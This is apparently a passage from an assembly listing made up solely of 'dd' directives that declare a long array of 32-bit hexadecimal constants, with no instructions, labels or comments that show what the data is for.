		dd 0B3009B75h, 0D883BE82h, 30771259h, 0BF6EACF2h, 2E00B6CCh
		dd 75DBCF4Ch, 5039316Fh, 6749496h, 2452F555h, 71FE8CC0h
		dd 2A54F317h, 70AEE500h, 351F468h, 1CEB22E0h, 53E8B95Bh
		dd 0E800F220h, 0AEB45E21h, 0FF81A5Dh, 62D9A5D2h, 41981F96h
		dd 241FB3CAh, 3BA04042h, 2C90BDEDh, 8F66A888h, 81A46B39h
		dd 2A3D73EBh, 1ED02F49h, 29951431h, 6700849Fh, 0EF17194Ah
		dd 5001485h, 0D0CE4E57h, 0B855F96Ch, 81CB0042h,	7595F4A4h
		dd 8D07781Ah, 0FA3B3013h, 6850600Eh, 1DA286Fh, 63ABFF74h
		dd 8F4F81F5h, 601E6106h, 380A0F91h, 0AAEAFCh, 2F6AF007h
		dd 23667D62h, 92B96100h, 0BBEAE67Eh, 959D287Ch,	0F9D8039Ch
		dd 1C88F650h, 0CDD94480h, 7EF84E00h, 0D4410515h, 5F66DFCCh
		dd 0B78000BEh, 7CB6265Dh, 7D4C9600h, 0B82358BAh, 0A8C7C86h
		dd 0E7162E10h, 560A059Ch, 0E434C91Fh, 7E009604h, 3C625CD5h
		dd 48CD3BDAh, 32005C02h, 0B8BB9567h, 0F4B21DF1h, 68F895h
		dd 37E8709Ah, 0BCB7A16Ah
		dd 0E9BC31Ch, 18558C40h, 8EB01Bh, 0FF3E87B5h, 53A646Ah
		dd 0B248898h, 490106BFh, 0D9158248h, 5C021ACCh,	409DA89Bh
		dd 65291898h, 40000772h, 2C3FEBA1h, 4D638Eh, 8DD76CFEh
		dd 12834BCEh, 58B70500h, 0FF59A3EFh, 0F19D0174h, 0D7947A7Ch
		dd 0A660E6DAh, 0ED130176h, 0B80028AEh, 93B1B236h, 0DF7D136Bh
		dd 0D60CC8BEh, 0FF812400h, 950274Bh, 7322FCA0h,	11060EC8h
		dd 770E60h, 0F82E9A58h,	290069D6h, 54F03EA9h, 0F601E005h
		dd 80A4C0h, 0DF5FED6Ch,	0CE539F1Dh, 0BFBE6900h,	343CF80Bh
		dd 2F2B0764h, 0C075C819h, 0B210D231h, 7BF1A804h, 30C0E2DCh
		dd 1257E097h, 0FF50EBh,	78274C1Ch, 4F7C0215h, 72ABA502h
		dd 41C96597h, 8840F3D9h, 0F174CFh, 78A1A282h, 8A2C75D9h
		dd 0B0B5CD00h, 2039C99Dh, 0B8E90222h, 0BB72FE57h, 36AD8860h
		dd 1F91B00h, 0B6AC6618h, 3110062h, 0A96C0AF8h, 127065B1h
		dd 39006FF8h, 5C9AACAFh, 975FE676h, 69953500h, 652FE07Ch
		dd 0DA288209h, 45FC0080h, 52F86215h, 0E401E54Eh, 221969E0h
		dd 1E16D03Ch, 7E38CA15h, 0E4F149h, 7D4F17F7h, 340DE48Fh
		dd 19BE76h, 3ED30198h, 34075E38h, 4EED5051h, 5F0C3AD0h
		dd 0FF5D00A1h, 192D17ADh, 0CF7CE18Ah, 1490161Fh, 4B540Fh
		dd 75AF94CEh, 0B09260F6h, 83CB9AF1h, 8BD92412h,	6C5F0B00h
		dd 3F9807h, 6ECDBE34h, 9BDD2A57h, 0C3AFD200h, 32CF88A8h
		dd 1955FA7h, 2E2D962Ch,	7814E0B5h, 0E4DC4Dh, 0BF3C1A0Dh
		dd 0B8EA98B2h, 90E00F5h, 0B0238C96h, 490078D8h,	0F7DFBE0Bh
		dd 2FA3468h, 226C8170h,	41C0C409h, 393A1FD0h, 4EC5807Bh
		dd 0AEBC8899h, 65140042h, 18F15968h, 0D23AF96Dh, 80362F87h
		dd 0B897F8BCh, 899560D5h, 390CA689h, 0B195204h,	0A980D950h
		dd 2363305h, 98126E31h,	0BC5092CEh, 888A8F00h, 0BDBFE61h
		dd 0DE42005Ch, 0B2BE0D47h, 565827CAh, 0C85D077Bh, 0EAE1A380h
		dd 60E01CBDh, 79896C5h,	122D84F4h, 889E8EBAh, 0C3622488h
		dd 4F88B807h, 41DCB732h, 2F2D3E86h, 0D0009023h,	0A1BE173Dh
		dd 226200D4h, 0D5CB0136h, 60BCD373h, 0FED7770h,	0D0E66490h
		dd 0AB044A97h, 3D401B0h, 4C233135h, 9D000AC0h, 7FE6207Ch
		dd 4982FEF8h, 26743CAAh, 1344694h, 98DD9288h, 641EDDBDh
		dd 99007794h, 4E1A22A9h, 76311BB4h, 5719013Ch, 0F3A8E554h
		dd 0ADE46082h, 88A0AE24h, 0AFBD9487h, 119EE6h, 0D9D5BF9Ah
		dd 0E4ED0742h, 0E92E3Fh, 0FD41373Ch, 71B755F4h,	663E0009h
		dd 0E3BAB997h, 4C4CA49Fh, 92980FF0h, 21D2AE07h,	0A28DC970h
		dd 54DFC8h, 41CFFE5Dh, 0D0C6D30h, 0CF74027h, 7AC749C8h
		dd 232800FFh, 77FE117Ch, 0D00FD492h, 0E095BCFCh, 750A214Fh
		dd 483C0188h, 1EA3B42Dh, 0A2D0E71Fh, 0E900B1BFh, 5047D4C1h
		dd 50382A42h, 7E2B4AAh,	0EFEB3583h, 660B0391h, 0A4AEE3E8h
		dd 0C3A2F1C0h, 25C1AF5h, 4BD4428Ch, 0F4A04922h,	0ED60DE62h
		dd 61116D65h, 8FF378C0h, 0AD420337h, 3E062B09h,	0C0483CE2h
		dd 22952E20h, 748F014h,	1E23B05Bh, 8D0087A9h, 0BBAF8255h
		dd 5FD491h, 0D14895C1h,	61E2CAAEh, 50193800h, 0EFE8907Ch
		dd 56635893h, 0C056FF1Fh, 2A2540F3h, 62009239h,	0ABAAA5C1h
		dd 3BB981Bh, 1C60B29Ch,	0E3D0A69Fh, 5C0C9B84h, 19024BCAh
		dd 0F89A00F5h, 10C1940Ch, 0A00E79FCh, 20557CECh, 0F0C9ACA8h
		dd 8FA600A2h, 143B0862h, 3900D877h, 41D4C528h, 0E45236h
		dd 0F8BEFFFBh, 507AEA64h, 9359C639h, 2300907Eh,	0B9F257A4h
		dd 82FD1458h, 0BD00C0B8h, 0F1E92B46h, 8AB05629h, 0F3215205h
		dd 0B8D01AE7h, 9F02255h, 0BF297FA5h, 0F66670E0h, 0C0274F0Fh
		dd 2079AF9Fh, 4BF955F0h, 0D75A261Bh, 0EC4E0298h, 0A4564756h
		dd 0F9C79E00h, 986016h,	0C88DE866h, 0E2344AA1h,	4EB2931Fh
		dd 0F89FFA02h, 39B8D87Dh, 4F1EB0BBh, 0F849FB33h, 5E05E29h
		dd 408FCBBEh, 0EC8C83FCh, 0F60081EBh, 0F048DFDh, 48AF8468h
		dd 8C4CA8CFh, 60AA7401h, 205F29F6h, 0F33BD5AFh,	21268B72h
		dd 43C8C09Dh, 82C026DCh, 0EE590040h, 5829CA83h,	0F6EDE200h
		dd 371DD694h, 0D35E0026h, 51494BADh, 9500273Eh,	0B15C1BB8h
		dd 0B7D7AA3h, 0F1A9BA1Dh, 0F307F85Ch, 0A733136Eh, 2D5AD0EDh
		dd 82F6003Fh, 9402C666h, 2CB0E8AAh, 0B38EF200h,	0A710DFB1h
		dd 0D01C1781h, 9DF0E04h, 0E7907F80h, 5004C86h, 5F165BBAh
		dd 7DADAE38h, 115F4C8h,	0BD1D4E87h, 0E4370DB8h,	36247C79h
		dd 138FB4F5h, 5E5420D7h, 99A9A1EDh, 73EFE0B8h, 71C230Eh
		dd 2177A8A4h, 0BBF0B167h, 150A40h, 0AE994C56h, 0F6A063Ch
		dd 0E1202D04h, 90D0BF72h, 58052537h, 2BC83819h,	7057B047h
		dd 0B33C076Bh, 0C5337500h, 4C2B061Dh, 708F0360h, 0F065F902h
		dd 0CE98ADBFh, 0D0963B50h, 880F40D9h, 0F1C1C0ADh, 3526301Ch
		dd 0F0E446A4h, 9CD7012Ch, 686BC342h, 3B969CF8h,	478209E6h
		dd 6ED87FD2h, 0EF6A3468h, 6F1FABE6h, 5C10E0Dh, 2E467CF9h
		dd 0D7035187h, 82F1CF7Ah, 0E2C1BA5Fh, 8C54C56Ch, 0D3B9DF7Ah
		dd 403D3C09h, 0CEED853Bh, 10CC3492h, 73016E09h,	0AC868310h
		dd 0B466E889h, 0BF8BC202h, 208C6714h, 12007530h, 50EE8A7Eh
		dd 0B1025491h, 8FD70320h, 92FB0B46h, 0E0BB08Eh,	632F2BF5h
		dd 1550A898h, 60381E3Ah, 7BB38074h, 0C0E998BEh,	18B88800h
		dd 2817977Ah, 69C40312h, 0F17BA754h, 0F2E020EAh, 0CF039BF3h
		dd 1B4AEDD7h, 0E55CD956h, 0D930C0CAh, 466B0021h, 0DB769674h
		dd 16FCC48Ch, 6A3F3A03h, 3F2E0B24h, 9202CC28h, 311021E3h
		dd 54236B41h, 99B9C2B4h, 0A8C99CA4h, 0CC681E30h, 261976C0h
		dd 4C7705Dh, 65029BA3h,	1EECD06Bh, 8200B422h, 62BFE0E6h
		dd 396D9AB1h, 9D0741FFh, 15FBD8Eh, 0FC6AD484h, 5E009F29h
		dd 0B0C2ABE3h, 85C8D0h,	6FA68314h, 95F455C6h, 0D8A4C100h
		dd 7AAAB61h, 0C4D40E5Dh, 409D7BC8h, 854D2725h, 9600DC38h
		dd 75F6E209h, 7BF7E1A4h, 66FE0164h, 9E7A440Dh, 0B58EDCD7h
		dd 9FF06B00h, 90EB1283h, 414800D5h, 0FBF57F8Dh,	0EF000F65h
		dd 9D6E386Dh, 0B52BF0Dh, 0D3FD4527h, 1B19B700h,	8400B5D8h
		dd 16E6BD91h, 3925B0Ah,	0C1CA73A2h, 0C2E09F1Dh,	432EA19Ch
		dd 0E0253449h, 4C5D5640h, 0B60022EAh, 9559D2C9h, 0AF01A7EDh
		dd 1330BE9Eh, 0CB20E052h, 1C570F14h, 8DC01A27h,	0EB8A7B87h
		dd 9BEE7203h, 0ABEF75C7h, 820ACA4Eh, 0D8B125B8h, 0A05C7D28h
		dd 0BBC8FDFh, 0E45F5A7Dh, 0BD861900h, 0F87C147Eh, 1D010F00h
		dd 0C858B504h, 21276BAh, 52BD0D1Ch, 0BCA284CEh,	0BB07F18Ah
		dd 928E48Bh, 0C5035FEBh, 45FF0800h, 8C92401Dh, 66013C00h
		dd 7D794213h, 0E4F902C2h, 2C2DE725h, 405C4A61h,	503B13F4h
		dd 8271802h, 61B44652h,	50BB362Ah, 0CBCFA100h, 7CCEE493h
		dd 0E7501600h, 46E00CBEh, 0ECA74C27h, 0FC6B2203h, 0A9C05554h
		dd 0A100F3CAh, 7F5DDA53h, 4D5E88D3h, 724704Fh, 4657403Ch
		dd 9779F7F1h, 0A194D61Ch, 5E513D03h, 8F14A01Bh,	83E52492h
		dd 0F5E60048h, 0B2C9A95h, 742B3016h, 9380381Eh,	1B29FFFEh
		dd 0CCE3004Eh, 0A0D23C8Eh, 0A905C2FCh, 0DA660681h, 0B4855C80h
		dd 18390E6h, 145699C6h,	40263805h, 3E532B80h, 3212171Fh
		dd 54409E9Fh, 0F1C8ABA9h, 0A5D0269Dh, 66F500DCh, 726EFC36h
		dd 97F6B4FEh, 8B778C9Ah, 253AD80Ah, 7780BC4Fh, 68DAD644h
		dd 0DBEE0324h, 27400573h
		dd 149103D0h, 0EC6BFC0Bh, 56E8E062h, 729900FBh,	5C9D8FE9h
		dd 7E003357h, 454FA4CFh, 1FF4062h, 5D18E63Ch, 0D08852F9h
		dd 0A8A08422h, 6BEAB108h, 0E488064Ch, 22F1B89Ch, 5EECFD5Dh
		dd 318A150Eh, 64948519h, 0DEB438C0h, 60A36918h,	0A7AE70B8h
		dd 99F19D60h, 2CABA2BEh, 178B5C5h, 7F962F2Eh, 0ED2180B6h
		dd 3DE35621h, 0E815125Ah, 0BB4CCC6Dh, 1FD8188h,	9137E0Ah
		dd 2CF30390h, 0FD0B074h, 0B7763884h, 478DEA4h, 0E5671513h
		dd 3EF18094h, 0D767007h, 59C0088h, 62F32C44h, 3C92217Bh
		dd 1ACF659h, 0E47D76FAh, 482CA198h, 4939D07h, 0B615C48Fh
		dd 0B42CD3B0h, 0A53C01E2h, 44AFC39Ch, 64E8D10Bh, 3C9CAD58h
		dd 5CFDEA80h, 1F310640h, 2DBECA4h, 0EF078C0Dh, 1280C85Bh
		dd 8EEA6491h, 3C0B29Ah,	6AA2A3D4h, 291F83DFh, 30C0E87Fh
		dd 4A545B0Fh, 0E8F264F5h, 6E853014h, 0E090B301h, 1D29E164h
		dd 59426Bh, 0C55B50D2h,	0A9FE094Ch, 18F185F3h, 5C404812h
		dd 87BB88C3h, 627B96h, 2D226FDBh, 72374316h, 4E0C0701h
		dd 0FB69DC48h, 0AD204435h, 39449812h, 8C815E6Ch, 2354C4BAh
		dd 0FCC8FF47h, 0A048F05Ch, 44ED0F84h, 1F66BF8h,	74343D80h
		dd 0C99C0878h, 2A8C207Ch, 3E702A21h, 489B6A01h,	1CD28632h
		dd 4E7F9064h, 0D01030BFh, 3043709h, 48FC405Eh, 7A798890h
		dd 0C5351207h, 150087A9h, 2A0CC8D8h, 0BE0002ECh, 251895A0h
		dd 37669h, 47063FF6h, 0D79FB15Fh, 4EBD1000h, 75A486D2h
		dd 54D44CC8h, 0CEC4BB00h, 167BCDE3h, 0F3021801h, 0A108DF76h
		dd 9E5230h, 34AEC9A3h, 0F2F0E752h, 2FF9000h, 0B6660735h
		dd 0F4540056h, 0AD918E97h, 0B0B02596h, 0B9E08A0Fh, 28F060B3h
		dd 0E28267h, 6101E6B6h,	7469023Ch, 41D3A200h, 0E07FD03Ah
		dd 31510029h, 98EAAE40h, 7E01B91Ah, 5D9AC9E6h, 18208B09h
		dd 0C5650044h, 93901482h, 610045B1h, 911A84C3h,	40BE88h
		dd 0D081C458h, 4BECDB32h, 4303C97Dh, 0F1D922F0h, 4DBEF84Eh
		dd 0C2E81F2Ah, 0DD72CAB5h, 0BA6E00D0h, 0BDAE3BC3h, 45255002h
		dd 48302F1Ch, 0B8392C38h, 2BF3AFh, 0E5BA99BCh, 5BEAFFA8h
		dd 0FD4030Eh, 56124198h, 0E6EC92CAh, 0B633134Fh, 932047C0h
		dd 2B6DE014h, 910E0BD0h, 20301A5Dh, 4BE467E7h, 0B1E0A0ADh
		dd 333505AEh, 42CF44Fh,	0C742E8A4h, 4720A024h, 12018421h
		dd 3CA0FB08h, 92D802BAh, 0A8634901h, 0AACE2707h, 5568307Dh
		dd 66037E14h, 0ED735615h, 0BE96B8C9h, 0B07AEAA4h, 89C40084h
		dd 0B1B29ADEh, 811CE968h, 0BB40BC50h, 0ACA88FC7h, 0DD830209h
		dd 0D3D063BDh, 7A4AA048h, 0DED6500Bh, 1FDCC06Ch, 0FA080060h
		dd 0C95AEB59h, 500BACF4h, 0E23A610Bh, 7C57C1BCh, 3D9AFC70h
		dd 8060ED88h, 302CB5E0h, 0E42A6700h, 0BC77CB6Ch, 10DF00B6h
		dd 0CDFFAAB0h, 580F3143h, 20492B3Bh, 78FE59D5h,	54A40004h
		dd 909A09ADh, 2D0BAB37h, 68C7B4F1h, 258B708h, 0BECEB399h
		dd 0F602BD3h, 1A001657h, 3139FACFh, 0FEAACD3Ah,	0ADE126B8h
		dd 1C0B0040h, 47FF5410h, 574EFE17h, 0BC031040h,	89145Dh
		dd 26F57562h, 7F1F282Fh, 1AD5E600h, 8184F3Eh, 0B527CC7h
		dd 7395AE9Bh, 0FB6774C0h, 0E1F2BAEEh, 0F0B5C02h, 60FA58A2h
		dd 3F92BCh, 0AA542CF1h,	659871AEh, 6B36E700h, 9F6AB39Dh
		dd 3FE00070h, 0ED06FA1Dh, 0AC00A396h, 5EA5031h,	2A299ECh
		dd 0E85335ADh, 4F608FBFh, 0BC09FD5Eh, 0FA8BB250h, 11490064h
		dd 0DE0D9289h, 0DC776AF9h, 2C09857Bh, 0A0321B3Ah, 4029253Ch
		dd 0C0EAF619h, 622F2710h, 0A26144Dh, 38A804h, 0DA2E2546h
		dd 0E8DEC398h, 0BE7502CBh, 5C73FDDh, 9077007Eh,	0EA98C085h
		dd 0A5E21h, 0D65A9A05h,	7181FD7Ah, 9B70E00h, 7DD7C46Dh
		dd 88E2FAh, 95651407h, 0A7E3FC68h, 7BF5EA00h, 0D6B3E212h
		dd 0B4A4059Ch, 13F99048h, 199E00C8h, 46D2FC05h,	0FDD0DA00h
		dd 0C5F20F0Eh, 0B7D31C4Bh, 0C4184B08h, 0A0855584h, 0E9005A98h
		dd 0C1841D52h, 25E557Ah, 17F750EBh, 62E03433h, 2A2528BCh
		dd 5CE4A324h, 0C6D9886Eh, 69F4778Ch, 3400BEF1h,	857EFA6Dh
		dd 594DB918h, 0A7B1D0h,	3CDBCBF3h, 0D7621653h, 7B6F9C06h
		dd 7B9330Eh, 68B58B6Eh,	3DE250A1h, 0BB009964h, 97794762h
		dd 4C7B86h, 1F095BC4h, 0BF7AC8E3h, 241D9807h, 7D60E116h
		dd 21999BEh, 63AB1426h,	642168E8h, 24235FE6h, 0F38DF09h
		dd 9E0A1820h, 970FDE72h, 219DCEBEh, 0F3E0736h, 0EC29438h
		dd 8E601C61h, 0CB00C3D4h, 0E0E39FA2h, 95BA0D7Bh, 0BCC0600Eh
		dd 0A4C4C787h, 98380964h, 544910F8h, 0EF10C34Eh, 0E284C1A8h
		dd 76198362h, 4003E291h, 9D5CD0h, 0A99097FDh, 0D99F2961h
		dd 2149EC1Ch, 0DE39D6C0h, 0F1FC93h, 731C6E86h, 40D8156Fh
		dd 508DF212h, 1F0330E0h, 0C1D3CE6Ah, 100F1D21h,	70003BC3h
		dd 0B7B655CDh, 64EF0B04h, 5B05E13Bh, 4D5CC0D2h,	0A705A956h
		dd 789FF5CCh, 74A346C0h, 5C4148CBh, 0D1C3BE00h,	0FA3D8EB4h
		dd 22F64800h, 4FC125F4h, 0F5550016h, 0FF75E32Dh, 51005605h
		dd 0DB90CAD3h, 0FC16A4CCh, 49E801F4h, 0A8E30B58h, 0C003E9Bh
		dd 3FFEC813h, 311B132Bh, 0BD4600C4h, 54148546h,	0EFE08097h
		dd 2A95F4h, 949E9DDDh, 0B8B0A80Bh, 57D41200h, 87E21FF2h
		dd 28AE5C66h, 75AA100h,	3305D60Dh, 2E9AE01Dh, 0EFC81FCh
		dd 69B5AD68h, 4FBA04D4h, 7E04C36Bh, 0C3819A80h,	0CC4C5B0Ah
		dd 8B01C179h, 2EF80DB9h, 0A870CDC5h, 0F248012Ah, 8674D546h
		dd 69E8E4A2h, 2D320B00h, 0BEA08A1Ch, 0C2DD006Ch, 9207427Ah
		dd 9A0018FEh, 32B2C5A7h, 1E4C3F50h, 8663F92Dh, 0D0370A6Bh
		dd 5E005098h, 0DBBF9BAFh, 13B3BCFFh, 0D1DC9Ch, 4C86E1D3h
		dd 0B5001283h, 0A89B1907h, 7F8E84E4h, 5A74003Eh, 6EA3CF73h
		dd 0D00102A0h, 157990FFh, 8C28F467h, 3009D100h,	0CB639F18h
		dd 395B9A00h, 93D9E735h, 8AB83B62h, 0E4A0074h, 11B66F85h
		dd 30E58614h, 8D008EA3h, 0BAB9AD10h, 0E0617FD7h, 23AF0BBCh
		dd 6C506835h, 7A6FD526h, 48FB3B00h, 0B50F78h, 19291157h
		dd 0F5981DC2h, 0DA2287A0h, 4B4EF0B2h, 5854A440h, 8FA6EBh
		dd 68C25CB3h, 0A63A4F6h, 74041577h, 0D7ABCCF4h,	0A8C036C4h
		dd 0D5CB50h, 512440A5h,	1F7B9C0Ah, 2586E700h, 34F5613Fh
		dd 129738C6h, 0DECB3280h, 201C5D3Dh, 0EBB3C502h, 0E13F5BFCh
		dd 2BF437F9h, 1323242Ch, 8C201DB4h, 2140ED2Dh, 40192E00h
		dd 41965453h, 899700F6h, 0D8D95D0Eh, 36002966h,	51CE1043h
		dd 241C5F16h, 137EFA9Ah, 9DE4009Fh, 0C0CF3933h,	7CD75Ch
		dd 182C453Ah, 1D78F3DDh, 4076F18Eh, 0E9242656h,	4B14A6DBh
		dd 0D8AC07h, 6DA7BA41h,	3D2A576h, 0ADCE3B40h, 0F09D1C67h
		dd 0AE0C8904h, 504BDA64h, 0A0DE0E68h, 0FB20223Ah, 9DD96BEBh
		dd 2270386Bh, 40CB8F08h, 7A88A60h, 9FD84692h, 0D231D6A6h
		dd 0DB25FD13h, 0F62730F6h, 71F5A060h, 27760101h, 52117CBDh
		dd 0B04D8834h, 7507029Eh, 0C7442E4Eh, 0F5DEC60h, 1B9A0807h
		dd 0C07097F7h, 10C57Ch,	0AFB907AAh, 0A2A8A7E8h,	95F5BB07h
		dd 0BDC1AB63h, 5820D312h, 0DC804454h, 27C124B6h, 0B0607BD5h
		dd 1B08F8E2h, 88C88721h, 3C98AEA3h, 0CD002BF2h,	0D6CEB9DBh
		dd 7B60C574h, 294116E3h, 471C0022h, 85F20EBh, 2A726E00h
		dd 0BD059ABBh, 0FC829F80h, 0C4E058FFh, 40488DA3h, 2A6E00ACh
		dd 4B78CF0Fh, 2CE40421h
		dd 838B4120h, 4FF03D80h, 0CCEA336Bh, 0C0A7B502h, 542F5F22h
		dd 8F190178h, 0C875EB8Ch, 1007D48h, 10DE382Ah, 1E6FFD26h
		dd 2E43BDh, 7B71D194h, 360083EFh, 7AD39896h, 12F060AFh
		dd 3BBE78h, 0C31E7310h,	3180ABF6h, 7C80B5A9h, 2B30E295h
		dd 77018C98h, 3DD79E6Ch, 74D4D946h, 0ADFA012Ah,	910E3923h
		dd 0DC88240Ah, 8E093B00h, 0BD281C08h, 7FDE1288h, 41013CAh
		dd 90478247h, 0DB115A10h, 0C8D44100h, 9CDC3439h, 9047EEBCh
		dd 0A0C1125Ch, 5DE460A6h, 0B94E70CCh, 0ABB5F000h, 114DECh
		dd 96600D3Bh, 3907C9BFh, 0E9035E7Eh, 53D5DFEh, 0DC55C868h
		dd 0BE0200E3h, 0F64D67CAh, 0ECF4A699h, 181F4B00h, 71031A85h
		dd 0A1D1288Dh, 0CA9200C0h, 0A445265Ch, 0A253C84h, 0F75080CEh
		dd 3F6B9414h, 0E800E6FDh, 5ECC7483h, 0A3263BE5h, 98006C36h
		dd 0FE798DDDh, 12840034h, 670DE2Dh, 0A304EAFDh,	46FB0420h
		dd 3A7ACA4h, 0FF136003h, 70F9B250h, 0F758203Bh,	747CF944h
		dd 0F0E600DFh, 9CCE774Dh, 0B612EE50h, 2CE18ADAh, 0EFC020h
		dd 98290E8Fh, 91B8BFD5h, 33C314Ch, 118C8A8h, 6B110B34h
		dd 0EC60DC9Bh, 0C9266FA6h, 0C8004061h, 551F2DE1h, 0F017077Dh
		dd 0E0100D6Ah, 0D545AFB4h, 0B898B30Bh, 40200BC7h, 4F3BCE20h
		dd 942821E7h, 77804051h, 9A10ACBCh, 0E0219DFh, 5B2650C1h
		dd 10004054h, 0CD6B92EAh, 1ECB0B6h, 75B44737h, 0C09AB06Eh
		dd 8B07E96h, 6001052Dh,	91873Ch, 77FBF0E5h, 0B3543C85h
		dd 27B1F480h, 88804E2Ah, 9CB4DD65h, 0EDCFF5h, 5F87A8F8h
		dd 8028BEEh, 77B28D22h,	731861C4h, 3B4A1EFh, 283358C4h
		dd 4D8BBC60h, 0BD058848h, 0B293E8B5h, 0B65A076Ch, 0C2D09802h
		dd 0FCAEACDh, 144DF278h, 7001E7C9h, 3BCF3D8Fh, 312A8800h
		dd 0D098E6h, 0AA619DBEh, 7EDDE51Fh, 40C5102Fh, 0D1740Ch
		dd 264453C8h, 0A0DF54CDh, 0A817F907h, 28F7EEF5h, 79737D30h
		dd 873500E3h, 97632A83h, 0F875E209h, 45A03760h,	76A5B35Dh
		dd 0F15F1E78h, 41055682h, 5A58DB84h, 0CAA5F8BBh, 5C8F0200h
		dd 1F4C8517h, 0F6F97CF5h, 35590014h, 9FF05352h,	630726BCh
		dd 0D5AE482Bh, 0C0DCD772h, 1EAA4648h, 43D3B8D9h, 0AF432869h
		dd 0CFD0B3E8h, 0E0022098h, 4DB3356h, 0FF94E8C7h, 87E3022Ch
		dd 0DF18E686h, 0EBA10563h, 2040E380h, 8206D08h,	0D328C0F5h
		dd 0FF63C467h, 0F8356A03h, 0A66E80A6h, 0F9A90050h, 9165DFACh
		dd 201C60Ch, 0CE3C0E49h, 0AB204777h, 0CDD0E74Ah, 0B9F40F9Ah
		dd 0EA604EE6h, 3C3D6550h, 8B4B3300h, 0A728A959h, 0B82B125Eh
		dd 0D244087h, 0C4BCE34h, 0BB50E77Ch, 0D0C3050Ch, 0B023BF7Bh
		dd 10B1DEh, 204F3A6h, 313B1342h, 8C2C161Eh, 63006E1Fh
		dd 9B06C805h, 475F009Ch, 17EBB09Ah, 2E0028DEh, 0D738BF80h
		dd 4EA494h, 66C4C3B5h, 0F2D9914Bh, 8500F398h, 0AA8C195Ch
		dd 0C341A6h, 9A617883h,	0EAAB05C5h, 7646B50Fh, 7B7EA058h
		dd 0B8AFA616h, 4EFC00C8h, 73EA26B0h, 9907525Ch,	0FDAA359Dh
		dd 283F8C0Ah, 8600B8A7h, 0A3EF678Bh, 2E57CF77h,	62EA9Eh
		dd 3BF752C9h, 4AEC1FD5h, 0E43CE24h, 0D011A318h,	0DA048C4Ch
		dd 0B527F848h, 0F643DB41h, 5941A538h, 8ADDE1DCh, 6B108C07h
		dd 3B631914h, 1D8009FBh, 7AC02BDh, 5C1F30CFh, 2B00101Ah
		dd 2462CDA9h, 0F4140660h, 51ADE7D5h, 464FC902h,	6250335Bh
		dd 308263A3h, 0EC21BE08h, 32B04647h, 12630DFCh,	0B7E871h
		dd 0F2B38621h, 67DCABDDh, 44997A00h, 0BBC3D27Bh, 18372808h
		dd 696080ECh, 6B4718AAh, 41F1103h, 88DEB800h, 80871906h
		dd 611874EEh, 0FD422113h, 0B95FD8B7h, 614BAB00h, 0FFEDBA35h
		dd 86DC30FEh, 6D5CA259h, 6C0C5101h, 4403F8CEh, 21970898h
		dd 6D0254C7h, 93600653h, 78EC4904h, 0D2D6E4h, 0DE70ACADh
		dd 6D188EE5h, 9421851Eh, 314CAFC0h, 0E45551h, 4676105Fh
		dd 3B5AFC59h, 1934A3Eh,	5E82B692h, 0F7D95283h, 0DE14D050h
		dd 7E0501C2h, 75AD23DFh, 0F0898C7h, 0D63779h, 0B08C58C2h
		dd 0CE4E1E5Ah, 4180AEAh, 0E7F90D10h, 0B8B0A8B1h, 5EF70012h
		dd 5F66E4BCh, 0E360F85Bh, 3577AE90h, 3A0300FDh,	445604D2h
		dd 0DD30BAE8h, 0C5A4F98Bh, 0CF2E1CDAh, 0E90740CAh, 91FC72C0h
		dd 61AB8D30h, 54087DA5h, 320ED43Bh, 3C9FC2Eh, 9100D043h
		dd 445B0B5Fh, 1354B2CBh, 2093C30Dh, 32471890h, 80BDF53Dh
		dd 1BAEC89Ch, 724B5F99h, 0D91900A1h, 34A582E4h,	0D1608492h
		dd 3CAD0979h, 0FBAF00A8h, 557ABE91h, 0B924BD10h, 921C1D62h
		dd 0FECE6130h, 60CD0086h, 1FEFC8F9h, 2C0CA39Ch,	0A00135DDh
		dd 0A5833B7Ah, 41E06064h, 174081A2h, 3CD850C7h,	2028C45h
		dd 0F688DCB8h, 10191918h, 0B7FB40h, 0DB7C0B9Eh,	0DD749B67h
		dd 20C5FD70h, 0A0208991h, 7806EDA2h, 80309FBh, 7411AA84h
		dd 0B8F8194Bh, 268829E2h, 171138h, 0F1B80146h, 0B10267h
		dd 0A7625FFDh, 54F33785h, 0BD90E00h, 6365E356h,	60953E87h
		dd 6DA2B180h, 0FFECFDE2h, 3E8826E3h, 0C52885Dh,	409DC474h
		dd 0E6D55C8h, 14BE214h,	0B58DCBA4h, 0A1096CF0h,	13D198C1h
		dd 5F01DC18h, 0D925D52Bh, 0FC5245EFh, 4E49041Eh, 0B0D48913h
		dd 11464E40h, 8848335Ah, 0F8EB9FC5h, 1CD703F0h,	1577D024h
		dd 0DDA6BBE8h, 80D18D6Fh, 0C2CDC547h, 0DE71017Ch, 0B1361B98h
		dd 8C9054AAh, 0CA00E194h, 52C5CD34h, 0F41D9CFh,	3DEB9879h
		dd 6D805F60h, 0F84CA931h, 83771838h, 608A9161h,	560991ACh
		dd 1E54E8E4h, 2E8CD268h, 1487464Ch, 0E9A06838h,	4004644h
		dd 0D2C2C3ACh, 1F3F252h, 3455092Ch, 22DE0B96h, 20E50FE0h
		dd 9351C158h, 0A852673Bh, 0F7F6021Bh, 0C4E84512h, 0F8A463C0h
		dd 90F7D03Ah, 91B24424h, 29C38176h, 7E857EB8h, 33600D89h
		dd 0E129C2B1h, 0D5D8C765h, 0FA202A0Eh, 11033882h, 960B454h
		dd 6A4B8110h, 15918417h, 0A86AA080h, 81CF94DDh,	663C4103h
		dd 7CD03E43h, 549000BBh, 0B1CAC4CCh, 24046579h,	111003ACh
		dd 0C9B6E846h, 959EBC02h, 0C0FC206Ch, 1CE040D9h, 68B4DE68h
		dd 0F59321A4h, 5280D811h, 68335E46h, 0EFC3448Ch, 9A464A00h
		dd 0A8B79D5Dh, 6C9818A1h, 117F8107h, 73D78F00h,	0B510C0F7h
		dd 6C694CB8h, 0C3A2D843h, 7FCD30h, 39671ED3h, 0B58B924Eh
		dd 750921C1h, 5826B864h, 2F8AE300h, 0B337F8BEh,	0DD150B1h
		dd 4F001C18h, 98CB9626h, 0C0B8E8E3h, 0CD667571h, 61000B0Fh
		dd 527674CAh, 9653F5h, 808AE997h, 290F1555h, 0E4510A68h
		dd 0E69AC860h, 54193F70h, 2D28A280h, 4290788Fh,	461A903h
		dd 79350h, 8A962A39h, 41B7A03Ah, 0B81E9F00h, 6CB9C747h
		dd 69F7013Fh, 0DD3CDEBDh, 81618392h, 0A823D1FAh, 9EBA41h
		dd 0B2AEA2D4h, 0E91C83E0h, 0F5002AB0h, 65608118h, 188D458Ah
		dd 7C7C7FD9h, 0C20406F1h, 869254CEh, 15FCF888h,	0EC106B53h
